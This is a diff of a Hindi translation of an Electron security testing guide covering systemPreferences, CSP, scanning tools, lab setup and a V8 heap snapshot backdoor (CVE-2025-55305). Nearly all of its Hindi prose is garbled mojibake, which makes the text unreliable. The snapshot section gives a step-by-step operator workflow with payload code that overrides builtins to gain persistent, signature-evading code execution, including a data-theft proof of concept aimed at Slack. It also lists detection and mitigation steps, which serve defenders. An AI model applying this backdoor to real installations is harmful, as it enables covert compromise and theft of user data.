**рд╕рд┐рд╕реНрдЯрдо рдЗрд╡реЗрдВрдЯреНрд╕ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИред **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, рдФрд░ **setUserDefault** рдЬреИрд╕реЗ рдореЗрдердб рд╕рднреА рдЗрд╕ рдореЙрдбреНрдпреВрд▓ **рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛** рд╣реИрдВред +Electron рдореЗрдВ system preferences рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдФрд░ **emitting system events** рдХреЗ рд▓рд┐рдП рдпрд╣ **primary API** рд╣реИред **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, рдФрд░ **setUserDefault** рдЬреИрд╕реЗ methods рд╕рднреА рдЗрд╕ module рдХрд╛ **рднрд╛рдЧ** рд╣реИрдВред -**рдЙрджрд╛рд╣рд░рдг рдЙрдкрдпреЛрдЧ:** +**рдЙрдкрдпреЛрдЧ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:** ```javascript const { systemPreferences } = require('electron'); @@ -366,31 +382,31 @@ console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** -* **Listens** NSDistributedNotificationCenter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **native macOS notifications** рдХреЛ рд╕реБрдирддрд╛ рд╣реИред -* **macOS Catalina** рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдк CFNotificationCenterAddObserver рдореЗрдВ **nil** рдкрд╛рд╕ рдХрд░рдХреЗ рд╕рднреА distributed notifications рдХреЛ sniff рдХрд░ рд╕рдХрддреЗ рдереЗред -* **Catalina / Big Sur** рдХреЗ рдмрд╛рдж, sandboxed apps рдлрд┐рд░ рднреА рдирд╛рдо рджреНрд╡рд╛рд░рд╛ notifications рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рдХреЗ рдХрдИ events (рдЙрджрд╛., **screen locks/unlocks**, **volume mounts**, **network activity**, рдЖрджрд┐) рдХреЛ **subscribe** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +* **рд╕реБрдирддрд╛ рд╣реИ** NSDistributedNotificationCenter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **native macOS notifications** рдХреЗ рд▓рд┐рдПред +* **macOS Catalina** рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдк CFNotificationCenterAddObserver рдореЗрдВ **nil** рдкрд╛рд╕ рдХрд░рдХреЗ **all** distributed notifications рдХреЛ sniff рдХрд░ рд╕рдХрддреЗ рдереЗред +* **Catalina / Big Sur** рдХреЗ рдмрд╛рдж, sandboxed apps рдлрд┐рд░ рднреА рдХрдИ рдШрдЯрдирд╛рдУрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **screen locks/unlocks**, **volume mounts**, **network activity**, рдЖрджрд┐) рдХреЛ рдирд╛рдо рджреНрд╡рд╛рд░рд╛ notifications register рдХрд░рдХреЗ **subscribe** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### **getUserDefault / setUserDefault** -* **NSUserDefaults** рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рдлреЗрд╕ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ macOS рдкрд░ application рдпрд╛ global preferences рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИред +* **NSUserDefaults** рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ macOS рдкрд░ **application** рдпрд╛ **global** preferences рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИред -* **getUserDefault** рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╣рд╛рд▓ рдХреА рдлрд╛рдЗрд▓ рд▓реЛрдХреЗрд╢рди (recent file locations) рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рднреМрдЧреЛрд▓рд┐рдХ рд╕реНрдерд╛рди (userтАЩs geographic location)ред +* **getUserDefault** рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА **retrieve** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ **recent file locations** рдпрд╛ **userтАЩs geographic location**ред -* **setUserDefault** рдЗрди preferences рдХреЛ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА app рдХреА configuration рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИред +* **setUserDefault** рдЗрди preferences рдХреЛ **modify** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐рд╕реА app рдХреЗ **configuration** рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред -* рдкреБрд░рд╛рдиреЗ **Electron versions** (v8.3.0 рд╕реЗ рдкрд╣рд▓реЗ) рдореЗрдВ, рдХреЗрд╡рд▓ NSUserDefaults рдХрд╛ **standard suite** рд╣реА рдЙрдкрд▓рдмреНрдз (accessible) рдерд╛ред +* рдкреБрд░рд╛рдиреЗ **Electron versions** (v8.3.0 рд╕реЗ рдкрд╣рд▓реЗ) рдореЗрдВ, рдХреЗрд╡рд▓ NSUserDefaults рдХреЗ **standard suite** рддрдХ **accessible** рдерд╛ред ## Shell.showItemInFolder -рдпрд╣ function рджрд┐рдП рдЧрдП рдлрд╝рд╛рдЗрд▓ рдХреЛ file manager рдореЗрдВ рджрд┐рдЦрд╛рддрд╛ рд╣реИ, рдЬреЛ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ execute рдХрд░ рд╕рдХрддрд╛ рд╣реИред +This function shows the given file in a file manager, рдЬреЛ **рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ execute рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy -Electron apps рдореЗрдВ **Content Security Policy (CSP)** рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ **XSS attacks** рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред **CSP** рдПрдХ security standard рд╣реИ рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ **untrusted code** рдХреЗ execution рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред +Electron apps should have a **Content Security Policy (CSP)** рддрд╛рдХрд┐ **XSS attacks** рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред **CSP** рдПрдХ **security standard** рд╣реИ рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ **untrusted code** рдХреЗ **execution** рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред -рдпрд╣ рдЖрдорддреМрд░ рдкрд░ `main.js` рдлрд╛рдЗрд▓ рдпрд╛ `index.html` рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ meta tag рдХреЗ рдЕрдВрджрд░ CSP рдХреЗ рд╕рд╛рде configured рд╣реЛрддрд╛ рд╣реИред +рдпрд╣ рдЖрдорддреМрд░ рдкрд░ `main.js` рдлрд╝рд╛рдЗрд▓ рдпрд╛ `index.html` рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ CSP рдХреЛ **meta tag** рдХреЗ рдЕрдВрджрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдХреЗ рд▓рдЧрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред For more information check: @@ -402,16 +418,16 @@ pentesting-web/content-security-policy-csp-bypass/ ## **Tools** -- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron-based applications рдореЗрдВ misconfigurations рдФрд░ security anti-patterns рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ tool рд╣реИред -- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ Electron applications рдХреЗ рд▓рд┐рдП рдПрдХ open source VS Code plugin рд╣реИред -- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) vulnerable third party libraries рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП -- [**Electro.ng**](https://electro.ng/): рдЗрд╕реЗ рдЦрд░реАрджрдирд╛ рдкрдбрд╝реЗрдЧрд╛ +- [**Electronegativity**](https://github.com/doyensec/electronegativity) рдПрдХ рдЯреВрд▓ рд╣реИ рдЬреЛ Electron-based applications рдореЗрдВ misconfigurations рдФрд░ security anti-patterns рдХреА рдкрд╣рдЪрд╛рди рдХрд░рддрд╛ рд╣реИред +- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron applications рдХреЗ рд▓рд┐рдП рдПрдХ open source VS Code plugin рд╣реИ рдЬреЛ Electronegativity рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред +- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреА рдХрдордЬреЛрд░ libraries рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП +- [**Electro.ng**](https://electro.ng/): рдЖрдкрдХреЛ рдЗрд╕реЗ рдЦрд░реАрджрдирд╛ рд╣реЛрдЧрд╛ ## Labs -In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) рдЖрдк vulnerable Electron apps рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ lab рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) рдЖрдк vulnerable Electron apps рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реИрдм рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред -рдХреБрдЫ рдХрдорд╛рдВрдбреНрд╕ рдЬреЛ lab рдореЗрдВ рдЖрдкрдХреА рдорджрдж рдХрд░реЗрдВрдЧреЗ: +рдХреБрдЫ рдХрдорд╛рдВрдб рдЬреЛ рд▓реИрдм рдореЗрдВ рдЖрдкрдХреА рдорджрдж рдХрд░реЗрдВрдЧреЗ: ```bash # Download apps from these URls # Vuln to nodeIntegration @@ -434,20 +450,20 @@ cd vulnerable1 npm install npm start ``` -## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) тАУ CVE-2025-55305 +## V8 heap snapshot рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХреЗ рдЬрд░рд┐рдП рд▓реЛрдХрд▓ backdooring (Electron/Chromium) тАУ CVE-2025-55305 -Electron рдФрд░ Chromium-based apps startup рдкрд░ prebuilt V8 heap snapshot рдХреЛ deserialize рдХрд░рддреЗ рд╣реИрдВ (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ V8 isolate (main, preload, renderer) initialize рд╣реЛ рд╕рдХреЗред рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ, ElectronтАЩs integrity fuses рдЗрди snapshots рдХреЛ executable content рдХреЗ рд░реВрдк рдореЗрдВ treat рдирд╣реАрдВ рдХрд░рддреА рдереАрдВ, рдЗрд╕рд▓рд┐рдП рд╡реЗ fuse-based integrity enforcement рдФрд░ OS code-signing checks рджреЛрдиреЛрдВ рд╕реЗ рдмрдЪ рдирд┐рдХрд▓рддреА рдереАрдВред рдирддреАрдЬрддрди, user-writable installation рдореЗрдВ snapshot рдХреЛ replace рдХрд░рдирд╛ signed binaries рдпрд╛ ASAR рдХреЛ modify рдХрд┐рдП рдмрд┐рдирд╛ рдРрдк рдХреЗ рдЕрдВрджрд░ stealthy, persistent code execution рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рдерд╛ред +Electron рдФрд░ Chromium-based рдРрдкреНрд╕ startup рдкрд░ рдкрд╣рд▓реЗ рд╕реЗ рдмрдиреЗ V8 heap snapshot (v8_context_snapshot.bin, рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ browser_v8_context_snapshot.bin) рдХреЛ deserialize рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ V8 isolate (main, preload, renderer) рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рд╣реЛ рд╕рдХреЗред рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ, Electron рдХреА integrity fuses рдЗрди snapshots рдХреЛ executable content рдХреЗ рд░реВрдк рдореЗрдВ рдирд╣реАрдВ рдорд╛рдирддреА рдереАрдВ, рдЗрд╕рд▓рд┐рдП рд╡реЗ fuse-based integrity enforcement рдФрд░ OS code-signing checks рджреЛрдиреЛрдВ рд╕реЗ рдмрдЪ рдЧрдПред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, user-writable installation рдореЗрдВ snapshot рдХреЛ рдмрджрд▓рдиреЗ рд╕реЗ signed binaries рдпрд╛ ASAR рдХреЛ modify рдХрд┐рдпреЗ рдмрд┐рдирд╛ рдРрдк рдХреЗ рдЕрдВрджрд░ stealthy, persistent code execution рд╕рдВрднрд╡ рд╣реЛ рдЧрдпрд╛ред Key points -- Integrity gap: EnableEmbeddedAsarIntegrityValidation рдФрд░ OnlyLoadAppFromAsar ASAR рдХреЗ рдЕрдВрджрд░ app JavaScript рдХреЛ validate рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡реЗ V8 heap snapshots рдХреЛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд░рддреЗ рдереЗ (CVE-2025-55305)ред Chromium similarly does not integrity-check snapshots. -- Attack preconditions: рдРрдк рдХреА installation directory рдореЗрдВ local file write рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ред рдпрд╣ рдЙрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдЬрд╣рд╛рдБ Electron apps рдпрд╛ Chromium browsers user-writable paths рдХреЗ рддрд╣рдд install рд╣реЛрддреЗ рд╣реИрдВ (рдЙрджрд╛., %AppData%\Local on Windows; /Applications рдХреБрдЫ рд╢рд░реНрддреЛрдВ рдХреЗ рд╕рд╛рде on macOS)ред -- Effect: рдХрд┐рд╕реА рднреА isolate рдореЗрдВ attacker JavaScript рдХрд╛ reliable execution рдПрдХ рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ builtin (рдПрдХ тАЬgadgetтАЭ) рдХреЛ clobber рдХрд░рдХреЗ рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ persistence рдФрд░ code-signing verification рд╕реЗ рдмрдЪрд╛рд╡ рд╕рдХреНрд╖рдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред -- Affected surface: Electron apps (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ fuses enabled рд╣реЛрдиреЗ рдкрд░ рднреА) рдФрд░ рд╡реЗ Chromium-based browsers рдЬреЛ snapshots рдХреЛ user-writable locations рд╕реЗ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред +- Integrity gap: EnableEmbeddedAsarIntegrityValidation рдФрд░ OnlyLoadAppFromAsar ASAR рдХреЗ рдЕрдВрджрд░ app JavaScript рдХреЛ validate рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡реЗ V8 heap snapshots (CVE-2025-55305) рдХреЛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд░рддреЗ рдереЗред Chromium рднреА рд╕рдорд╛рди рд░реВрдк рд╕реЗ snapshots рдХреА integrity-check рдирд╣реАрдВ рдХрд░рддрд╛ред +- Attack preconditions: рдРрдк рдХреА installation directory рдореЗрдВ local file writeред рдпрд╣ рдЙрди рд╕рд┐рд╕реНрдЯрдореНрд╕ рдкрд░ рдЖрдо рд╣реИ рдЬрд╣рд╛рдБ Electron apps рдпрд╛ Chromium browsers user-writable paths рдореЗрдВ install рд╣реЛрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ %AppData%\Local on Windows; /Applications with caveats on macOS)ред +- Effect: рдХрд┐рд╕реА рднреА isolate рдореЗрдВ attacker JavaScript рдХрд╛ reliable execution рдПрдХ рдмрд╛рд░-рдмрд╛рд░ рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ builtin (a тАЬgadgetтАЭ) рдХреЛ clobber рдХрд░рдХреЗ рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ persistence рдФрд░ code-signing verification рд╕реЗ рдмрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред +- Affected surface: Electron apps (even with fuses enabled) рдФрд░ Chromium-based browsers рдЬреЛ user-writable locations рд╕реЗ snapshots load рдХрд░рддреЗ рд╣реИрдВред Generating a malicious snapshot without building Chromium -- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applicationтАЩs v8_context_snapshot.bin. +- prebuilt electron/mksnapshot рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ payload JS рдХреЛ рдПрдХ snapshot рдореЗрдВ compile рдХрд░реЗрдВ рдФрд░ application рдХреЗ v8_context_snapshot.bin рдХреЛ overwrite рдХрд░реЗрдВред -Example minimal payload (prove execution by forcing a crash) +Example minimal payload (execution рд╕рд╛рдмрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП crash рдХрд░рд╛рдХрд░) ```js // Build snapshot from this payload // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" @@ -461,11 +477,11 @@ Array.isArray = function () { throw new Error("testing isArray gadget"); }; ``` -Isolate-aware payload routing (main рдФрд░ renderer рдореЗрдВ рдЕрд▓рдЧ рдХреЛрдб рдЪрд▓рд╛рдирд╛) -- Main process detection: Node-only globals рдЬреИрд╕реЗ process.pid, process.binding(), рдпрд╛ process.dlopen рдореБрдЦреНрдп process isolate рдореЗрдВ рдореМрдЬреВрдж рд░рд╣рддреЗ рд╣реИрдВред -- Browser/renderer detection: Browser-only globals рдЬреИрд╕реЗ alert рдбреЙрдХреНрдпреВрдореЗрдВрдЯ context рдореЗрдВ рдЪрд▓рдиреЗ рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреЗ рд╣реИрдВред +Isolate-aware payload routing (main рдмрдирд╛рдо renderer рдореЗрдВ рдЕрд▓рдЧ рдХреЛрдб рдЪрд▓рд╛рдПрдБ) +- Main process рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛: Node-only globals рдЬреИрд╕реЗ process.pid, process.binding(), рдпрд╛ process.dlopen main process isolate рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреЗ рд╣реИрдВ. +- Browser/renderer рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛: Browser-only globals рдЬреИрд╕реЗ alert document context рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреЗ рд╣реИрдВ. -Example gadget рдЬреЛ рдПрдХ рдмрд╛рд░ main-process рдХреА Node capabilities рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ +Example gadget рдЬреЛ рдПрдХ рдмрд╛рд░ main-process рдХреА Node рдХреНрд╖рдорддрд╛рдУрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИ ```js const orig = Array.isArray; @@ -494,7 +510,7 @@ process.exit(0); return orig(...arguments); }; ``` -Renderer/browser-context data theft PoC (рдЬреИрд╕реЗ Slack) +Renderer/browser-context рдбреЗрдЯрд╛ рдЪреЛрд░реА PoC (e.g., Slack) ```js const orig = Array.isArray; Array.isArray = function() { @@ -519,23 +535,23 @@ return orig(...arguments); }; ``` Operator workflow -1) payload.js рд▓рд┐рдЦреЗрдВ рдЬреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп builtin (e.g., Array.isArray) рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░реЗ рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐ isolate рдмреНрд░рд╛рдВрдЪ рдХрд░реЗред +1) payload.js рд▓рд┐рдЦреЗрдВ рдЬреЛ рдХрд┐рд╕реА рд╕рд╛рдорд╛рдиреНрдп builtin (рдЙрджрд╛., Array.isArray) рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рджреЗ рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐ isolate рдмреНрд░рд╛рдВрдЪ рдХрд░реЗред 2) Chromium рд╕реНрд░реЛрддреЛрдВ рдХреЗ рдмрд┐рдирд╛ snapshot рдмрдирд╛рдПрдВ: - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" -3) рд▓рдХреНрд╖рд┐рдд рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА snapshot рдлрд╝рд╛рдЗрд▓(реЗрдВ) рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ: -- v8_context_snapshot.bin (рд╣рдореЗрд╢рд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ) -- browser_v8_context_snapshot.bin (рдпрджрд┐ LoadBrowserProcessSpecificV8Snapshot fuse рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) -4) рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ; gadget рддрдм execute рд╣реЛрдЧрд╛ рдЬрдм рднреА рдЪреБрдирд╛ рдЧрдпрд╛ builtin рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +3) рд▓рдХреНрд╖реНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА snapshot рдлрд╝рд╛рдЗрд▓(рдУрдВ) рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ: +- v8_context_snapshot.bin (рд╣рдореЗрд╢рд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрддреА рд╣реИ) +- browser_v8_context_snapshot.bin (рдпрджрд┐ LoadBrowserProcessSpecificV8Snapshot fuse рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ) +4) рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ; рдЪреБрдиреЗ рд╣реБрдП builtin рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ gadget рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред Notes and considerations -- Integrity/signature bypass: Snapshot рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ code-signing checks рджреНрд╡рд╛рд░рд╛ native executables рдХреА рддрд░рд╣ рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ (рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ) рдЗрдиреНрд╣реЗрдВ ElectronтАЩs fuses рдпрд╛ Chromium integrity controls рджреНрд╡рд╛рд░рд╛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред -- Persistence: user-writable install рдореЗрдВ snapshot рдХреЛ рдмрджрд▓рдирд╛ рдЖрдорддреМрд░ рдкрд░ app restarts рдХреЗ рдмрд╛рдж рднреА рд╕реБрд░рдХреНрд╖рд┐рдд рд░рд╣рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдПрдХ signed, legitimate app рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИред -- Chromium browsers: рд╕рдорд╛рди рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд╛ рд╡рд┐рдЪрд╛рд░ рдЙрди Chrome/derivatives рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ user-writable рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИрдВред Chrome рдХреЗ рдкрд╛рд╕ рдЕрдиреНрдп integrity mitigations рд╣реИрдВ рдкрд░ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ physically local attacks рдХреЛ рдЕрдкрдиреЗ threat model рд╕реЗ рдмрд╛рд╣рд░ рд░рдЦрддрд╛ рд╣реИред +- Integrity/signature bypass: Snapshot рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ code-signing checks рджреНрд╡рд╛рд░рд╛ native executables рдХреЗ рд░реВрдк рдореЗрдВ рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рдФрд░ (рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ) ElectronтАЩs fuses рдпрд╛ Chromium integrity controls рджреНрд╡рд╛рд░рд╛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред +- Persistence: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рд▓реЗрдЦрдиреАрдп рдЗрдВрд╕реНрдЯреЙрд▓ рдореЗрдВ snapshot рдмрджрд▓рдиреЗ рд╕реЗ рдЖрдо рддреМрд░ рдкрд░ рдРрдк рд░рд┐рд╕реНрдЯрд╛рд░реНрдЯ рдХреЗ рдмрд╛рдж рднреА рдмрджрд▓рд╛рд╡ рдмрдиреА рд░рд╣рддреА рд╣реИ рдФрд░ рдпрд╣ рдПрдХ signed, legitimate app рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИред +- Chromium browsers: рд╡рд╣реА рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд╛ рд╡рд┐рдЪрд╛рд░ Chrome/derivatives рдкрд░ рднреА рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ user-writable рд▓реЛрдХреЗрд╢рдиреЛрдВ рдореЗрдВ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИрдВред Chrome рдХреЗ рдкрд╛рд╕ рдЕрдиреНрдп integrity mitigations рд╣реИрдВ рдкрд░ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ physically local attacks рдХреЛ рдЕрдкрдиреЗ threat model рд╕реЗ рдмрд╛рд╣рд░ рд░рдЦрддрд╛ рд╣реИред Detection and mitigations -- Snapshot рдХреЛ executable content рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдиреЗрдВ рдФрд░ рдЗрдиреНрд╣реЗрдВ integrity enforcement рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ (CVE-2025-55305 fix). -- admin-writable-only install рд╕реНрдерд╛рди рдкрд╕рдВрдж рдХрд░реЗрдВ; v8_context_snapshot.bin рдФрд░ browser_v8_context_snapshot.bin рдХреЗ рд▓рд┐рдП baseline рдФрд░ hashes рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдВред -- early-runtime builtin clobbering рдФрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд snapshot рдмрджрд▓рд╛рд╡реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ; рдЬрдм deserialized snapshots рдЕрдкреЗрдХреНрд╖рд┐рдд рдорд╛рдиреЛрдВ рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреЗ рддреЛ alert рдХрд░реЗрдВред +- Snapshot рдХреЛ executable content рдорд╛рдиреЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ integrity enforcement рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ (CVE-2025-55305 fix)ред +- Admin-writable-only install рд▓реЛрдХреЗрд╢рдиреЛрдВ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ; v8_context_snapshot.bin 